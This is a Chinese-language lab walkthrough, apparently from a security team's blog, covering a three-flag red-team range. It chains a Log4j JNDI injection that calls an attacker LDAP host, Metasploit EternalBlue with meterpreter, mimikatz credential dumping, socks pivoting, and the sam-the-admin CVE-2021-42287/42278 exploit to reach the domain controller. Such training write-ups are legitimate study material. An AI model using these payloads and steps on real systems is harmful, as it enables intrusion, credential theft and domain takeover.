从log4j2到DC
2022-5-13 17:22:41 Author: mp.weixin.qq.com(查看原文) 阅读量:127 收藏

前段时间发现了个靶场,感觉里面的漏洞还是比较新的,包含了log4j2、CVE-2021-42287、CVE-2021-42278。

靶场环境

本次靶场需获取3个flag即可通关,每台机器均有一个flag文件。该靶场拓扑图如下:

如果在搭建靶机中发现双网卡机器不出网的情况下,可以设置网卡优先级

sudo ip route del default via 10.0.1.7 dev ens38sudo ip route add default via 10.0.1.7 dev ens38 metric 101

信息收集

实战时当我们拿到目标地址时,通常的做法就是扫描端口,以及相关地址的C段扫描。在条件允许时尽可能进行全端口扫描(因为靶场环境所以不涉及C段扫描)。
nmap -sV -Pn -n -sT --open -p- 172.16.111.54

通过对目标地址全端口扫描,发现了22端口和38080端口开放,为此我们的思路大致为
1、爆破22ssh服务
2、访问38080端口
访问38080端口发现web服务,接下来就是找web相关站点漏洞,以及进行目录扫描。

对该web资产目录扫描发现了如上目录。

发现Log4j2漏洞

访问目录error和hello时,burp插件被动扫描出存在log4j漏洞。

可以看到该web站点Accept内存在漏洞点。然后可以利用该log4j2漏洞获得目标机权限。
本机开启JNDIExploit,运行命令如下

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 172.16.100.234
利用TomcatEcho回显验证漏洞,发现未root权限
${jndi:ldap://172.16.111.212:1389/TomcatBypass/TomcatEcho}

当然也可以利用TomcatMemshell3直接注入内存马。
在request请求头加入查找flag命令获取第一关flag文件。

cmd:find / -name "*flag*"

执行cat命令即可获取flag内容

flag{redteam.lab-1}Congratulations, you got this: saul Saul123

该flag文件中还暴露出一个疑似账号密码的字符串saul Saul123,为此我们可以联想到该机器开放的22ssh服务,尝试密码碰撞。当然如果碰撞失败也可以在当前机器写入shell拿到服务器权限。

内网信息收集

测试发现使用账号saul密码Saul123可登录linux服务器,并且在该机器发现双网卡,上传fscan并搭建socks5代理。

发现该网段10.0.1.7服务器存在ms17010漏洞,并且也提示为双网卡机器

获取域用户权限

使用msf进行攻击获取该主机权限
search ms17_010use windows/smb/ms17_010_eternalblueuse windows/x64/meterpreter/bind_tcpset RHOST 0.0.0.0set payload windows/x64/meterpreter/bind_tcpuse windows/smb/ms17_010_eternalblueset RHOSTS 10.0.1.7run

拿到系统权限后,通过mimikatz查看账号密码

load mimikatzcreds_all

发现该服务存在域,并且mimikatz获取了域用户账号root Red12345
进入该服务器shell中,搜索获取flag文件

cmd /c dir /s/a-d/b C:\flag.txt
成功获取到第二关flag{redteam.lab-2}

通过查询该服务器ipconfig发现存在10.0.0.7网段

利用CVE-2021-42287、CVE-2021-42278获取域控权限

通过定位时间服务器判断DC,发现10.0.0.12疑似为域控服务器

利用前段时间爆出的CVE-2021-42287、CVE-2021-42278拿来试一试
exp脚本

https://github.com/WazeHell/sam-the-admin
该漏洞的前置条件:需要一个域用户
因域控在第三层网络并且不出网,所以需要利用2层代理网络进行攻击
利用MSF添加了一个Socks5


use server/socks_proxyset SRVPORT 8889runjobssessions 2run autoroute -s 10.0.0.7/24 #旧版run post/multi/manage/autoroute
然后mac配置proxychains4运行该攻击脚本

mac上运行后发现找不到impacket目录文件,作者在说明里说只支持kali系统,测试发现旧版kali也没有smbexec可执行文件

查看源码发现脚本调用两个可执行文件

fbinary = "/usr/bin/impacket-smbexec" if options.dump: fbinary = "/usr/bin/impacket-secretsdump" getashell = f"KRB5CCNAME='{adminticket}' {fbinary} -target-ip {options.dc_ip} -dc-ip {options.dc_ip} -k -no-pass @'{dcfull}' " os.system(getashell)
查看mac安装的impacket路径,并修改代码将可执行文件改成py文件
fbinary = "python3 /usr/local/bin/smbexec.py" if options.dump: fbinary = "python3 /usr/local/bin/secretsdump.py" getashell = f"KRB5CCNAME='{adminticket}' {fbinary} -target-ip {options.dc_ip} -dc-ip {options.dc_ip} -k -no-pass @'{dcfull}' " os.system(getashell)
漏洞利用成功:
proxychains4 python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell

接下来搜索该DC的flag文件

cmd /c dir /s/a-d/b C:\flag.txt

成功获取到了第三道flag{redteam.lab-3}

总结

通过练习靶场可以很好的形成攻击思路,优化攻击手法以及检验工具环境的配备,以便在之后实战攻防演练中先拔头筹。

原文链接

https://mp.weixin.qq.com/s/zWyZlifnJdNCSfuYchXKlw

E

N

D

Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室。团队公众号自创建以来,共发布原创文章400余篇,自研平台达到31个,目有18个平台已开源。此外积极参加各类线上、线下CTF比赛并取得了优异的成绩。如有对安全行业感兴趣的小伙伴可以踊跃加入或关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247497851&idx=1&sn=c776e877b844cd15a699069c481b0346&chksm=ce5dda1af92a530c99cd17e449b9ffd7aea9a54d2fd1b385855a67ec1daf504b37a7bd56125e&mpshare=1&scene=1&srcid=0513sQzsuq7dyKdZ54wxj6rx&sharer_sharetime=1652433746460&sharer_shareid=205c037363a9188e37dfb6bb4436f95b#rd
如有侵权请联系:admin#unsafe.sh